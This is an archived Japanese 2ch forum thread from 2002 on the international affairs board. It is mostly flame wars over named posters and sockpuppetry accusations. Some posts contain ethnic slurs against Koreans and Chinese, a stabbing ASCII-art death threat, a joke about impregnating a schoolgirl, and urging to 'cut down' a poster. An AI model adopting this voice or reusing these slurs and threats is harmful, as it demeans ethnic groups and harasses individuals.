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◆国際情勢板雑談スレ◆

1 :名無しさん@お腹いっぱい。:02/03/24 04:18 ID:Ozj+MgcX
地政学的に雑談しなさい。
煽りや荒らしは厳禁。

2 :とりあえず:02/03/24 04:21 ID:???
2げっちゅー

3 :名無しさん@お腹いっぱい。:02/03/24 04:48 ID:ulwoLfvv
粘着野郎まじでウザい。
なんとかしてくれ。
かつての枢機郷よりウザい。

4 :名無しさん@お腹いっぱい。:02/03/24 07:50 ID:???
お前がウザイっての。(藁

5 :fujianasan ◆PSlgvDWs :02/03/24 08:47 ID:???
ヤッホーイ!俺の隔離スレ完成!マンセー!
自治スレの641は俺が自作自演を謀ってると思ってるみたいだが、
シラネェヨ。俺が自作自演して何を得するっていうんだYO!
まあ信じてもらうしかないな。641は人を信じることも出来ないのか。
てゆーか地政学的にってこん感じ?
1.隣国は敵
2.敵の敵は味方
3.敵を援助すれば滅亡する
 :

6 :名無しさん@お腹いっぱい。:02/03/24 12:40 ID:???
これは酷い・・・
朝9時頃にちょっと見てからまた来たけど、どのスレもさっぱり伸びてないじゃんか。
ここ迄滅茶苦茶荒らしておきながら、あの野郎はよくもぬけぬけと顔出せるもんだな。
ある意味感心するわ。(カーッ、ペッ





7 :名無しさん@お腹いっぱい。:02/03/24 14:37 ID:???
日本人が絶滅したら、もっとスレは伸びないぞ?
何いってんだ?
狂ったか?

8 :1死ね!ウザイ。:02/03/24 14:42 ID:1mhLrm4X
―――――――――――――――| | ||| | |―――――――――――――――――
――――――――――――,――-| | | | |||―――、――――――――――――――
          ブスッ!!  /     || ||| |||   ι \
――――――――――/       l || | l      \――ブスッ!―――――――――
――――,―、――――|     J       し  U  |―――――,―、―――――
  (⌒⌒   ⌒、――|   ι    >>1          |―――/⌒   ⌒⌒)―――
 /        ヽ―-|         | |   \\    |-――/         |―――
,|          '一⌒》 \__ \ || / __/ 《⌒ー'           |――
|/ ̄ ̄ ̄\     _》  /⌒`、\\///⌒`、  《_     ,一 ̄ ̄ ̄\|―――
        '、_一~ |   (  ,=, \    / ,=,  )  |  ̄ー_/        |――
        )     |  ι二二二 |   | 二二二J |      (        |
/ ̄ ̄ ̄ヽ )―――-L U  ̄ ̄ ̄ |   |  ̄ ̄ ̄  」――――( / ̄ ̄ ̄~\|――
      ヽ/――――| \   ι(      )ι  / |――――――|_/       |――
      /―――――|  ヽ     ⌒ー一○   / |―――――-|        |―
     /――――――|  || || ̄ ̄ ̄ ̄ ̄ ̄ ̄|| || |――――――|        |―
     /――――――-|  || |⌒'⌒'⌒'⌒'⌒'⌒| || |――/ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
    /―――――――-|  |  | |⌒`ー一´⌒| |  | |  <  た、たすけてくれー
   /――――――――|  |  ├|       |┤ | |――-\___________
  /――――――――/|  |  ├|       |┤ | |\―――――――|
 /            / \   |/|____|、|  / / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
/――――――――-/   |   、'ー―――-',  |  |  お前の命はあと4秒
――――――――/     \   ̄ ̄ ̄ ̄ ̄ /  \  __________




9 :名無しさん@お腹いっぱい。:02/03/24 15:09 ID:???
>>7
ハァ?
何言ってんだ?
枢機郷が潰れたと思ったら、また新顔のキチガイか・・・

10 :名無し三等兵:02/03/24 16:51 ID:???
>>7->>9
(;´ー`)y-~~取り敢えず>>1のスレルールを読めや

11 :名無しさん@お腹いっぱい。:02/03/24 23:51 ID:???
<お題>

地政学的に日本と韓国は状況が似ている。

その理由を誰か述べよ。

12 :kouei35 ◆n8aPRTS. :02/03/25 00:14 ID:???
地政学について検索してみました。ご参考まで。

ちせいがく 2 【地政学】
----------------------
〔(ドイツ) Geopolitik〕国家を
有機体としてとらえ、その政
治的発展を地理的条件から
合理化しようとする理論。ス
ウェーデンのチェーレン(Ru
dolf Kjellen 1864-1922)が提
唱し、ドイツのハウスホーファ
ーが大成。ナチスにより領土
拡張の戦略論として利用された。


13 :11だけど:02/03/25 03:21 ID:???
戦略核なし
中共の標的
北朝鮮の標的
半島取られると、日本もカナリ危険
↑経済圏に関しても同じ
アメリカとの二国間同盟
石油ルートが同じ
通商ルートが同じ
経済モデルが同じ
産業構造が似ている
政治傾向が似ている
現状では運命共同体

ダメ?

14 :うひょ:02/03/25 03:25 ID:G9VAyAbz
>>11
半島国家と海洋国家をごっちゃにしたらあかんやろ。

15 :11:02/03/25 03:32 ID:???
>>14
現代戦でも半島はやっぱ不利?

16 :11:02/03/25 03:57 ID:???
ごめんよ、うひょさん。
日本と台湾にすれば良かったと激しく後悔してるよ。


17 :名無しさん@お腹いっぱい。:02/03/25 07:43 ID:???
ところで、何でkouei35は今更初歩的な情報を検索してるんだ?
まさか、今までそんな事も知らなかったのかな?(w

18 :俺™:02/03/25 09:04 ID:???
地政学では国の取れる政策はその地理的要因により左右されるのだから、
半島と島国じゃまったく違うでしょ。
つか地政学スレの過去ログがあるのに。
ちなみに日本は大陸に隣接する島弧とも解釈できるんだっけ?

19 :名無しさん@お腹いっぱい。:02/03/25 10:49 ID:???
帝国主義の地政学(2000/09/12-2000/09/20)

冷戦の地政学 1(2000/09/21-2000/09/26)

地政学の授業の討論(2000/09/27-2000/09/30)

冷戦の地政学 2(2000/10/03-2000/10/09)

冷戦の地政学 3(2000/10/10-2000/11/13)

冷戦の地政学
新世界秩序の地政学



http://soejima.to/

20 :名無しさん@お腹いっぱい。:02/03/25 10:51 ID:3RqUGWZ3
反地政学
http://soejima.to/



21 :教えて(今日が初めてです):02/03/25 18:14 ID:J0N7jEHj
国際情勢板って、どんなコテハンさんがいますか。
それと、出来れば貴方の好きなコテハン、嫌いなコテハンを3人づつお答え下さい。
国際情勢板を知った上でカキコを始めようと思います。

22 :fujianasan ◆PSlgvDWs :02/03/25 18:46 ID:???
全サーバで規制します。( ̄ー ̄)ニヤリッ
1 :2ちゃんねる ★ :02/03/20 13:58
61.195.81.249
ab56.adn.ttcn.ne.jp
CBCba-116p126.ppp13.odn.ad.jp
cj3230152-a.nrima1.kt.home.ne.jp
i066212.ap.plala.or.jp
i225172.ap.plala.or.jp
j191100.ap.plala.or.jp
ntaich029229.adsl.ppp.infoweb.ne.jp
odn59.avis.ne.jp
P144027.ppp.dion.ne.jp
P128240.ppp.dion.ne.jp
pl038.nas312.handa.nttpc.ne.jp
RIFba-05p87.ppp13.odn.ad.jp
sv03.kcnet.ne.jp
trf03.ninja.neweb.ne.jp
YahooBB218176146005.bbtec.net
YahooBB225044085.bbtec.net
YahooBB218112164065.bbtec.net
z61-115-104-27.dialup.wakwak.ne.jp
↑規制って何を規制してるの?
コテハンは
俺と枢機郷(←変換重要)と「どうでもいいけど」
「◆yナントカ」っていうトリップコテハンに
kouei35に「要請るるフォン」や「名無し三等兵」
「まなかな大ファン!!」っていうのもいた
「ハト派もなか」とかいうのいたような・・・
自治スレ一通り見ればコテハンの名前覚えられるよ(必要ないけど)

23 :名無しさん@お腹いっぱい。:02/03/26 00:02 ID:jl5gdV0A
すきなコテハンといえば、まず
枢機郷、マナカナ君・・・

あとは相手役で朴、赤軍かな
これだけならマターリしていいんだけど

さて私は誰でしょう?

24 :名無しさん@お腹いっぱい。:02/03/26 00:06 ID:UkFBndAd
>>23
DRX?

25 :名無しさん@お腹いっぱい。:02/03/26 00:13 ID:YaV4wJlS
枢機郷がマターリってのはデタラメが過ぎる。
国情板荒廃の元凶である事実を伏せて嘘つくんじゃないよ。
論理的な反論で追い込まれると電波飛ばして荒らすのがマターリか?
枢のシンパはダブルスタンダード野郎ばかりだな。

26 :名無しさん@お腹いっぱい。:02/03/26 00:14 ID:YaV4wJlS
>>24
ハズレ
あんたもDRX恐怖症ってか?

27 :名無しさん@お腹いっぱい。:02/03/26 00:16 ID:???
>>24
ド素人?それとも・・・

28 :ミコ☆ミコ:02/03/26 00:22 ID:???
われら嫌韓嫌鮮厨にとって枢機郷は神!!!!
それは神がアク禁食っても替わらない


残念だったな、わっはっはっはーーーー。
枢機郷の肉体は死んでも魂はまた何度でも甦るのじゃ
わっはっはっはっはー、わっはっはっはーーーーー。

29 :名無しさん@お腹いっぱい。:02/03/26 00:26 ID:???
ここんとこ、やたらDRXの事を気にしてる名無しがチョロチョロしてるな。
四ヶ月って奴か?

30 :DRX ◆Dr.X/sMk :02/03/26 02:15 ID:???
いくら必死に誹謗中傷を重ねても、オノレの卑小さを世間に知らしめるだけなんだがな。
まともに反論出来るつもりなら、電波など飛ばさず論理的に主張を構築すればいいだけの話だ。
そこを浅ましい人格攻撃で代用しようと試みてるから、連中は負け犬なのだ。
まあ、連中は連中なりの「正義」に基づいてやってる気なんだろうから、どうでもいいがな。
1つだけ命じておくなら、もっと俺を楽しませる事だ。
せいぜい猿知恵の限りを尽くして、全太陽系生命体を統べる指導種族が退屈しのぎに弄ぶ玩具の大役を勤めおおせてから、
壊れ逝くがいい。もとよりそのくらいしか世の役には立たぬ連中だからな。
俺は偽者を放置したりしているから、俺を敵視する奴はムキになればなるほど苦労が増えるぞ。
当方はトリップ使ってまで自己主張したいとも思わんしな。
それより偽者どもの動機を想像してる方が面白い。

31 :名無しさん@お腹いっぱい。:02/03/26 02:51 ID:???

347 :水先案名無い人 :02/03/15 00:51 ID:7iQ9pVOx
国際情勢板(改訂版)
名無し:名無しさん@お腹いっぱい(変わらず)
政策:国際情勢と日本の外交戦略から近隣諸国(半島・米中露)の悪口
状態:ハン板より酷い嫌韓厨房と一匹のコピペ荒らしにより急速に過疎化進行中。
人口:20  アクセス数のほとんどをコピペ荒らしが稼いでいる状態。かつての住人の
      大部分は他板に亡命した模様。
内政:5  自治スレ=隔離スレである。
武力:100  枢機郷のコピペ攻撃と、博識の住人による論破が主力武器。
生産:80  過去ログの中に、日本の歴史と外交に関して貴重な情報・議論の過程が含まれている。
外交:90  国際情勢板を自分のものにする為なら、枢機郷は削除依頼板だろうが削除議論板だろうが荒らします。
謀略:50  枢機郷を煽った◆yzlSeA0wはかなりの謀略の所有者。
人材:30(減少中)  在野(sage進行スレ)に知将がいるが、流出中なのは否めない事実。
主な同盟板:イスラム情勢、N極東、N速報+、N議論、ハングル、世界史(軍事板とかけもちしている住人もいる)。
主な敵対板:ゴーマニズム、政治思想、ハングル、他地理・歴史系。(住人の流動性が高く不定)
最近の主な固定:枢機郷・◆yzlSeA0w←こんな連中を筆頭固定などと認めたくもないが
【現状】
■■■国際情勢板自治スレッド13■■■
http://yasai.2ch.net/test/read.cgi/kokusai/1015614790
ここを見れば一目瞭然である。かつて保守系論客が私情を挟まず国際情勢を理論のみで
語る場だったこの板が、枢機郷なる一匹の基地害と、場違いにも「相互確証破壊論理」で
対抗した◆yzlSeA0wによって荒れ放題の板となった。
方向性こそ違うものの、両者が望んでいるのは「自分の意見を全面的に受け入れてくれる板」で
しかなく、2001年秋からの荒れた状態に辟易した古参の論客は次々と亡命しているのが現状である。

32 :うひょ:02/03/26 02:59 ID:A5LEwXZY
>>31
おお、よくできてるね。この紹介文。
元になるテンプレとかあるの?
完全ウリジナルなら大したもんだ。

33 :名無しさん@お腹いっぱい。:02/03/26 03:22 ID:???
このスレっす。
http://ton.2ch.net/test/read.cgi/gline/997358239/

34 :名無しさん@お腹いっぱい。:02/03/26 03:26 ID:???
256 :分析君 :02/02/18 14:20 ID:jadg+PtI
国際情勢板
名無し:名無しさん@お腹いっぱい(変わらず)
政策:国際情勢と日本の外交戦略から半島や米国の悪口まで
状態:かつては閑古鳥掲示板とも呼ばれたが、現在では書き込みが大変多い。
   書き込みレベルは以前より低下している、名無しで書き込む人間の中に
   希に極めて博識な人がいる。
人口:50  アクセス数の割に活発である。
内政:40  近年荒れ気味だが、自治スレで多少はマシに。
武力:70  たまに理論武装した博識の書き込みがあり、甘い意見が論破されていく。
生産:80  過去ログの中に、日本の歴史と外交に関して貴重な情報・議論の過程が含まれている。
外交:60  政治系板を巡回している利用者が多い。
謀略:60  常駐している粘着がいる。
人材:70  在野(sage進行スレ)に知将がいることがある。
主な同盟板:ニュース系全般、ハングル、政治思想、ゴーマニズム板とかけもち利用者が多い。
主な敵対板:ゴーマニズム板、他地理・歴史系。(住人の流動性が高く不定)
最近の主な固定:枢機卿


35 :名無しさん@お腹いっぱい。:02/03/26 03:26 ID:???
【国勢解説】
1999年から2000年前半までは閑古鳥板とも呼ばれたが、他の政治系板とは違い
落ち着いたペースなので名無しの常連がいて中道保守の議論に花が咲いていた。
(当時、政治思想板などはいわゆる左翼全盛期であり、右翼・保守は少数派で居場所が無かった)
2000年後半、debu、あまいな、猫男(後にバカサヨ三銃士と命名され愛されたようだ)など
左翼系論客が進出して来て、活発に書き込むようになりにぎわい始める、しかしこれらの固定は知識・文章力とも未熟で
「従軍慰安婦問題」などのスレを立て続けるも右翼系論客にことごとく論破される。
特に自称広島の高校生(演劇部所属)debuは、最初日本政府の謝罪と賠償を主張するも
名無しさん達に歴史を教わるうちにトーンダウン、年末には国際板への書き込みをやめ
演劇板で目撃されたのが最後である。その後倉田まゆみなどおかしな固定が散発的に現れるものも、
2001年夏までは比較的穏やかであった。2001年夏以降、俗に夏厨と呼ばれる
不特定多数の中高生が駄レスをくり返すようになり板が荒れる。(これは各板共通の現象)
現在もその余波で荒れ気味である。以前見られた大人の意見を書き込む名無しさん連中は
sage進行のスレでひっそりと書き込むか、又はニュース議論板などに移動したようである。
全体的に政治系板はいずれも書き込みが低年齢化しているのが近年の傾向と言える。

36 :どうでもいいけど:02/03/26 03:52 ID:???
>>23
うーん?
誰だろう?
(マターリが半角なあたり、2Ch暦が結構長い人かな?)

それにしてもマターリ、ねえ?
その面子でも物騒な発言ばっかりになると思うが・・・。

まあ、答えは、どっかの「釣り師さん」ってので当たりなんだろうな。

>>29
「四ヶ月」って誰を指して言っているんだろうか?
もしも彼が文体の書き分けができるのなら、それはそれで面白い。

>>30 
「すみなすものは心なりけり」?

37 :名無しさん@お腹いっぱい。:02/03/26 10:57 ID:???
四ヶ月=パチンコ屋
といってみるテスト

DRXの事を異様に気にしていた粘着だたからねえ・・・

38 :名無し三等兵:02/03/26 17:07 ID:???
(;´ー`)y-~~突然なんだが
       なんか最近、この板のコテハン同士のいがみあいが
       妙に増えてないか?

39 :名無しさん@お腹いっぱい。:02/03/26 21:34 ID:???
DRXはよく厨房狩りしてた奴だからね。
いまだにへこまされた事を根に持つ連中もいるんだろ。
四ヶ月という奴は、以前石原都知事のお台場カジノ構想に反対してたパチンコ屋かも。
そいつは、DRXと衝突してからの粘着煽りがうざかった。
最近あちこちのスレで、文脈無視して突発的にDRXを煽ってる名無しと行動パターンが酷似。
他にも、チベット問題でDRXとぶつかった中国人が、DRXを騙って回る事件もあったな。
チョンといいチャンコロといい、ゲスな事ばかりする奴等だ。(w



40 :名無しさん@お腹いっぱい。:02/03/26 21:52 ID:???
ところで、枢ちゃんどこにも居ないようだな・・・
別に居なくていいんだけど。

41 :どうでもいいけど:02/03/26 22:14 ID:???
いや、四ヶ月とはDRXに孕まされた女子中学生らしい。
散々、サディスティクに弄ばれた挙句、今、妊娠四ヶ月目だとか・・・。
恨まれて当然だ。
まったく酷いことするよ・・・。











寒いっスカ?
そうですか・・・。

42 :名無しさん@お腹いっぱい。:02/03/26 22:17 ID:???
>>35
ヲイヲイ、丁度一年前の今ごろの春厨大発生を忘れるなよ。

2001年の2月〜4月にかけてスレ削除依頼の停止協定を
逆手に取ったクソスレ立てまくり厨房の大発生によって真面目
な住民の多くが一時この板を去っただろうが。

あのときは無茶苦茶だったぞ。

43 :名無しさん@お腹いっぱい。:02/03/27 02:40 ID:???
DRXの自作自演うざ

44 :名無しさん@お腹いっぱい。:02/03/27 03:26 ID:/ssHxyH3
>>43
こいつが四ヶ月だな(藁
お前の方がうざいんだよ。

45 : ◆yzlSeA0w :02/03/27 03:41 ID:RkREB9KY
四ヶ月って、脈絡もなく「自治をはじめていいかな」「正直かなわない」をコピペしている
枢機郷とは別人と思われる、AM3:00くらいから活動を始める
一行二行のどうでもいいカキコをしてAM7:00に上げ荒らしをやってる奴のことかな?

こいつバカだから、本人は謀略を計ってるつもりなんだろうが
誰にも相手にされてないのを気付いてないらしいね。

46 :名無しさん@お腹いっぱい。:02/03/27 03:54 ID:???
ていうか、枢とは別口の粘着ドキュソ。
余り実害はないが、何か一人でムキになってるからウザイ。
↓の>61みたいに、あちこちのスレで唐突にDRXを揶揄するようなカキコしてる奴。
60 :名無しさん@お腹いっぱい。 :02/03/25 14:15 ID:Oknzl9M8
age

61 :名無しさん@お腹いっぱい。 :02/03/25 14:27 ID:???
>>60
板を盛り上げるDRXハッケーン

62 :名無しさん@お腹いっぱい。 :02/03/25 15:24 ID:???
>>61
DRX恐怖症患者ハケーン
株やってる奴は今日忙しい筈だぜ。
こんな時間に来るかよ。

63 :名無しさん@お腹いっぱい。 :02/03/25 17:24 ID:???
>>61
>>62
「age」だけで突然DRXって言われてもなー。(w
枢機郷やどうでもいいけども重症だが、ここまで酷くないぞ。
よっぽど怖い目に遭ったんだね・・・

47 : ◆yzlSeA0w :02/03/27 06:07 ID:???
>>46
それはDRX本人では。
DRX=4か月っつう事か?

48 : ◆yzlSeA0w :02/03/27 06:30 ID:???
それにしてもこの板、納豆みたいにネバネバと粘着な奴が多いよな。
私も人のこと言えないけどさ。

49 :名無しさん@お腹いっぱい。:02/03/27 07:27 ID:???
>>47
>>46でのやり取りの中にDRXがいるとすれば63なんじゃない?
3月25日は実質的最終日ってやつだから、株屋はあんな時間に来ないんじゃないかな?



50 :49:02/03/27 07:39 ID:???
一つ付け足すと、漏れは>>46での62
株の方は素っ高値をつかんだアホルダーだから忙しくないんだけどね。
・・・鬱出汁脳


51 :fujianasan ◆PSlgvDWs :02/03/27 11:13 ID:???
ここの板ってスクリプトあまり更新されてなくない?
チョコ鯖は結構変わってるよ

http://www.ninki.net/cgi-bin/kako.cgi?id=2chbbs
こんなの発見


52 :名無しさん@お腹いっぱい。:02/03/27 18:54 ID:???
>>49
稚拙な工作(プッ

53 :名無しさん@お腹いっぱい。:02/03/27 21:55 ID:???
>>52
四ヶ月の稚拙な工作ハケーン(プッ

54 :fujianasan ◆PSlgvDWs :02/03/27 22:26 ID:???
おい、ちょっと聞いてくれ!
ロビー行ってみたらタイトルが「オナニー」になっていて
名無しも「オナニー」になっていたぞ!
どういうことだ!!→http://tmp.2ch.net/lobby/

55 :これ誰が書いたんだよ:02/03/28 05:43 ID:???
国際情勢板(ポスト第一次枢機郷大戦版)
名無し:名無しさん@お腹いっぱい(変わらず)
政策:国際情勢と日本の外交戦略から近隣諸国(半島・米中露)の悪口
状態:ハン板より酷い嫌韓厨房と一匹のコピペ荒らしにより急速に過疎化していたが、
終戦に伴い復興の胎動。枢機郷のカキコはマジレス比率急上昇するも出現頻度激減。
人口:5  住人の大部分は他板に亡命した模様。極度の過疎続く
内政:30 自治スレ=長らく主戦場であった隔離スレだったが、現在は正常化。但しモチベーション低し。
武力:200  枢機郷のコピペ攻撃がなくなり高度な議論が復興、博識の住人による論破が主力武器。
生産:70  過去ログの中に、日本の歴史と外交に関して貴重な情報・議論の過程が含まれている。
外交:100  政治関係の板全般との人材交流の形跡
謀略:∞  常に自作自演批判が荒らしの主流であったが、それを理論面で無力化するコテハンDRX出現
人材:5(減少止まる)  在野(sage進行スレ)に隠遁する知識人と、荒らし関連住人との二極分化が顕著
主な同盟板:イスラム情勢、N極東、N速報+、N議論、ハングル、世界史(軍事板とかけもちしている住人もいる)。
主な敵対板:ゴーマニズム、政治思想、ハングル、他地理・歴史系。(住人の流動性が高く不定)
最近の主な固定:名無し三等兵(顔文字付き)、kouei35、エラワン、鉄腕アトム、アモイ、トルファン、
どうでもいいけど、赤軍Z、◆yzlSeA0w、ののみ、その他玉石混交
【現状】
■■■国際情勢板自治スレッド13■■■
http://yasai.2ch.net/test/read.cgi/kokusai/1015614790
ここを見れば一目瞭然である。かつて保守系論客が私情を挟まず国際情勢を理論のみで
語る場だったこの板が、枢機郷なる一匹の基地害と、場違いにも「相互確証破壊論理」で
対抗した◆yzlSeA0wによって荒れ放題の板となった。
その後、反枢機郷活動が阿吽の呼吸で連携プレーの動きを見せ、
効果的に荒らしを鎮圧。枢機郷の戦意を剥奪、現在も制圧中。
このように急転直下した情勢変化の背後には、DRXの暗躍があったとの見方もある。


56 :名無しさん@お腹いっぱい。:02/03/28 05:51 ID:???
自意識過剰のDRXが書いたんだろな。

>主な同盟板:イスラム情勢、N極東、N速報+、N議論、ハングル、世界史(軍事板とかけもちしている住人もいる)。
>主な敵対板:ゴーマニズム、政治思想、ハングル、他地理・歴史系。(住人の流動性が高く不定)
てとこを見ると、DRXは嫌韓厨なんだね。

DRX = 四ヶ月 = 嫌韓厨

57 :名無しさん@お腹いっぱい。:02/03/28 06:02 ID:???



在日の自作自演がうざいとお感じの皆さん。
荒らしはここからやってきています。

http://tmp.2ch.net/test/read.cgi/sisou/1016890282/l50




58 :名無しさん@お腹いっぱい。:02/03/28 06:03 ID:???
あと、コテハンに
うひょ
にょ

が抜けてるよ。

59 :DRX:02/03/28 08:07 ID:9cGefxkA
ほう、なるほど。
予想外に面白い説が出てきたな。
もっと続けろ。

60 :頑張れハト派モナカ ◆rqQ7z3WI :02/03/28 14:04 ID:???
うふふ、相変わらず存在感の無さでは国情板のコテハンいちだわ。
しかしこの書き方では2ちゃんのアフガンも伊達じゃなくなって来たわ。

61 :名無し三等兵:02/03/28 16:17 ID:???
>>60
(;´ー`)y-~~そもそも国際板自体も人口少なくて存在感無いよ〜な・・・・

62 :国際情勢板電波研究所:02/03/28 16:59 ID:BUlAMHQV
四ヶ月=DRXだとすれば、この下らない論争の目的は何なのか?
以前からDRXは、自作自演に関して独特なスタンスを取っているようだ。
要約すれば以下のようになるだろうか。

@自作自演は、違法性が皆無である。
A自作自演は、それ自体では誰にも危害を与えないので道義上の問題もない。
B自作自演は、単に引っかかる方が間抜けなだけ。
C自作自演に対する抑止力はないので、禁じても無駄。
D自作自演論争は、論証出来ない自説を恣意的に主張しているだけなので不毛。
E不毛な自作自演論争を始める事は、荒らし行為に等しい。

・・・・といったところだろう。(便宜上これらの主張をDRXドクトリンと呼ぶ事にする。)
つまり、執拗にDRXを攻撃している「四ヶ月」というドキュソがDRX本人だとすれば、
自作自演批判者の愚かさを分かり易く解説しているという事になる。
理路整然としたDRXドクトリンに比べ、「四ヶ月」の強引な中傷は単なる狂気しか伝わらないからだ。
それは、>>55>>56が同一人物による自作自演にしか見えない事でも明らかである。





63 :名無しさん@お腹いっぱい。:02/03/28 18:21 ID:YenSACgA
>>55
>>56
そのコピペの元ネタは私が書きましたが、何か?
勝手にDRX氏の自自だなんて決め付けないで下さい。
某所で囁かれている
「どうでもいいけど=DRX説」
「愛子=DRX説」
「ののみ=DRX説」etc...
を目にしていれば、なんら不自然な点はない解説です。
ところで、名前の漏れたコテハンの皆さんに対しては失礼をお詫びします。
ただあれは、主だった方々を例示しているだけなので他意はありません。
最後に、何だか私の事を嫌韓厨と決め付けていますが、
おそらくそれは、自意識過剰がもたらした誤解でしょうね。>四ヶ月さん(プププッ

64 :名無しさん@お腹いっぱい。:02/03/28 19:07 ID:/82UDibk
たった今、四ヶ月とおぼしき奴が「DRX」と名乗って

「第三次大惨事」スレに出現してます。

何をムキになってるか知らないが、もう必死だな(w

65 :田中角栄:02/03/28 19:54 ID:???
アフガニスタン、地震地震発生装置だった!

66 :DRX:02/03/28 23:02 ID:???
DRXドクトリンというか、

しごく当たり前の話をしてるだけなのですが。
こんな事を改めて説明しなくてはならない程度の知性で、国際情勢を論ずる(以下略

67 :名無しさん@お腹いっぱい。:02/03/29 00:18 ID:Tk0ux3Hg
ところで、どうも誰かがage荒らしをしてるみたいなんだが。
今更枢機郷ではないだろうが、気のせいかな?


68 :名無しさん@お腹いっぱい。:02/03/29 00:23 ID:???
>>67
同意。
死んだようなスレがあがってくるぜ。

69 :名無しさん@お腹いっぱい。:02/03/29 00:26 ID:???
>>68
まさか、四ヶ月あたりの仕業か?(藁

70 : ◆yzlSeA0w :02/03/29 01:08 ID:???
>>67 >>68
毎日の事。
>>69
「四ヶ月」って結局、「コテハンのうちの誰でもない粘着野郎」でいいの?


71 :名無しさん@お腹いっぱい。:02/03/29 01:14 ID:???
粘着質は◆yzlSeA0wだろうが。


72 :国際情勢板電波研究所:02/03/29 01:53 ID:kWIaOiMl
四ヶ月というのは、DRXに遺恨を抱いていると思われる名無しの仮称。
特定のコテハンとの関連性は未確認。
固有の行動パターンとして、スレの文脈を無視して、
突然DRXを中傷する一行レスを入れて来るので識別は比較的容易。
しまいには自分の存在をカムフラージュする為に、自らDRX=四ヶ月の自作自演だなどと言い出した。
それが>>55>>56での自作自演。
「茶々丸」とは異なり、明らかに実在するようだ。

73 : ◆yzlSeA0w :02/03/29 02:03 ID:F/Rv6BzU
四ヶ月らしき人間って、DRXだけにじゃなくて私も粘着質につきまとわれた覚えがある。
>>71とか。
多分、コテハンは皆ターゲットにされてると思われる。


74 :国際情勢板電波研究所:02/03/29 02:07 ID:???
犯行例
>27 :名無しさん@お腹いっぱい。 :02/03/27 19:51 ID:5Y/e7c7z
             ____
           凵。|
         凵。■|
       凵。■■|
     凵。■■■|
    凵。■■■■|
    /. \ ̄ ̄ ̄ ̄|
  /  /  ● ● |
  |  /    -  - |
  ||| (6      > |
 | | |     ┏━┓|   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
| | | |     ┃─┃|  < 正直、噂の糞スレとはここでおじゃるか?
|| | | |  \ ┃  ┃/    \________
| || | |    ̄∞ ̄|


28 :mage :02/03/28 18:24 ID:Xw01FrDr
mage


29 :DRX :02/03/28 18:54 ID:93R/aGvR
DRX


30 :名無しさん@お腹いっぱい。 :02/03/28 18:58 ID:???
>>29
四ヶ月必死だな(w

・・・・・明らかに、本物のDRXがやらない荒らし方なので判明。




75 :自治スレ14より:02/03/29 02:21 ID:f/3aX/aR
語源と思われ

>281 :名無しさん@お腹いっぱい。 :02/03/18 07:28 ID:???
>DRXも相当自作自演をばらされたのを腹に据えかねてたみたいだな
>もう四ヶ月前のことだろ?

・・・・つまり四ヶ月間、DRXと枢機郷の間で何があったのかを忘れてなかった訳だ(藁

76 :どうでもいいけど:02/03/29 02:34 ID:???
いや・・・四ヶ月の語源って・・・。
もう少し静観しようか・・・。

77 : ◆yzlSeA0w :02/03/29 02:57 ID:F/Rv6BzU
>>75 >>76
語源は
http://yasai.2ch.net/test/read.cgi/kokusai/1016130115/476
でいいのかな?

78 :四ヶ月:02/03/29 03:20 ID:???
ここで嫌いな国投票してるよ
アメリカは今2位です。
みんなも清き一票投じてね。
よかったらコメントも入れてね。
http://ton.2ch.net/test/read.cgi/geo/992060320/l50



79 :名無しさん@お腹いっぱい。:02/03/29 12:51 ID:+Sq6nFul
>>75
>>77
四ヶ月って、そういう由来があったのか。



80 :名無しさん@お腹いっぱい。:02/03/29 21:47 ID:MKr1TtGh
さっきテレビでやってたけどロックフェラー4世って
1950年代にICUに留学してたのね。

その後一族郎等がみな共和党なのに、なぜか1人だけ民主党。

81 :名無しさん@お腹いっぱい。:02/03/29 21:54 ID:RfeuzpO3
ICUって三鷹の?

82 :頑張れハト派モナカ ◆rqQ7z3WI :02/03/29 22:05 ID:???
集中治療室だと思われ。

83 :名無しさん@お腹いっぱい。:02/03/29 22:24 ID:???
それまで図書館は当時ICUで唯一の大きな建物だった本館の2階にあったのです。それで、ジョン・D・ロックフェラー4世がここで2年間勉強しかつ教えているときに、お父さんのジョン・D・ロックフェラー3世がICUに来たのです。
学長の湯浅八郎先生が案内をしていました。
それで「今ICUが一番欲しいものは何か」と聞かれたので、「library」と湯浅先生が答えたら、すぐに10万ドルのチェックを書いてくれたのです。
それが基金になって、この図書館を造ったのです。
http://www-lib.icu.ac.jp/publication/lecture/10-2.html

84 :名無しさん@お腹いっぱい。:02/03/30 03:24 ID:???

おいおい、age荒らしのバカは誰だい。

85 : ◆yzlSeA0w :02/03/30 04:07 ID:???
>>84

毎晩のこと。うざいね。

86 :名無しさん@お腹いっぱい。:02/03/30 11:18 ID:07mNMN6b
高校生です。
友人が防衛大学に入って平和を訴えるそうです。

87 :名無しさん@お腹いっぱい。:02/03/31 00:03 ID:kwWcau/O
半島関連ばかりageてる阿呆がいるな。
ハングル板でやってりゃ良いのに。
少しは他の国の話題を楽しんでる皆に遠慮して欲しいわ。

88 :名無しさん@お腹いっぱい。:02/03/31 00:11 ID:???
>>87
何ほざいている、半島関連などageってないだろう。

89 :名無しさん@お腹いっぱい。:02/03/31 00:27 ID:???
>>88
今日の午前中は露骨だったぜ。
ハングル板住人が侵略を開始したのかと思った。
ここでそんな事しても、喜ぶのは例のコピペ電波コテハン一人しか居ないってのにな。

90 :名無しさん@お腹いっぱい。:02/03/31 00:46 ID:???
>>89
お前かage荒らしのボケは、半島関連などベスト30に2つしかない
ネタはやめたら
てめえが犯人だろう

91 :名無しさん@お腹いっぱい。:02/03/31 00:52 ID:???


上げ荒らしはDRX

92 :名無しさん@お腹いっぱい。:02/03/31 02:14 ID:???
>>89
おーーい、国際情勢板のage荒らしのDRX、もうやめなよ。

93 :名無しさん@お腹いっぱい。:02/03/31 02:18 ID:???
あの屁理屈で嫌われ者のDRXはまだ生きていたのか。
薩摩武士なら、さっさと国賊を斬ってこいよ。

94 : ◆yzlSeA0w :02/03/31 02:24 ID:NHx/fNi6
マナカナ君は自分のトコで好きなだけ暴れたらいいよ。
http://isweb30.infoseek.co.jp/art/shady/

95 :名無しさん@お腹いっぱい。:02/03/31 02:25 ID:???
DRXは今何してる?

399 名前:DRX :02/03/25 01:46 ID:sgWId6sY
今日の枢機郷は、見え透いたブラフに怖じ気づいたようだな。
絶妙なリアリティの金額設定がキモか。

